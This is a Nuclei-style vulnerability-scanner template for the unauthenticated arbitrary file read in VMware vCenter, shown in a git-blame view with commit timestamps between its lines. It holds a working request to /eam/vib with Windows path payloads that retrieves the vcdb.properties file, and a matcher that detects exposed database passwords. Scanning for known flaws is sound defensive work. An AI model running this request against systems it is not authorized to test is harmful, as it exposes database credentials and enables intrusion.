2020-10-13 14:24:30 +00:00
|
|
|
id: vmware-vcenter-lfi
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: VMware vCenter Unauthenticated Arbitrary File Read
|
|
|
|
author: dwisiswant0
|
|
|
|
severity: high
|
2021-08-18 11:37:49 +00:00
|
|
|
reference:
|
2021-04-29 06:12:56 +00:00
|
|
|
- https://kb.vmware.com/s/article/7960893
|
|
|
|
- https://twitter.com/ptswarm/status/1316016337550938122
|
2021-02-12 05:53:01 +00:00
|
|
|
tags: vmware,lfi
|
2020-10-13 16:02:26 +00:00
|
|
|
|
2020-10-13 14:24:30 +00:00
|
|
|
requests:
|
2021-08-22 18:09:33 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /eam/vib?id=§path§\vcdb.properties HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
payloads:
|
2020-10-13 14:55:29 +00:00
|
|
|
path:
|
|
|
|
- "C:\\ProgramData\\VMware\\VMware+VirtualCenter" # vCenter Server 5.5 and earlier (Windows 2008)
|
|
|
|
- "C:\\Documents+and+Settings\\All+Users\\Application+Data\\VMware\\VMware+VirtualCenter" # Other Windows versions
|
|
|
|
- "C:\\ProgramData\\VMware\\vCenterServer\\cfg\\vmware-vpx" # vCenter Server => 6.0
|
|
|
|
attack: sniper
|
2021-08-22 18:09:33 +00:00
|
|
|
|
2020-10-13 14:24:30 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2020-10-13 15:51:29 +00:00
|
|
|
- "(?m)^(driver|dbtype|password(\\.encrypted)?)\\s="
|
2020-10-13 14:34:08 +00:00
|
|
|
part: body
|
2020-10-13 14:24:30 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|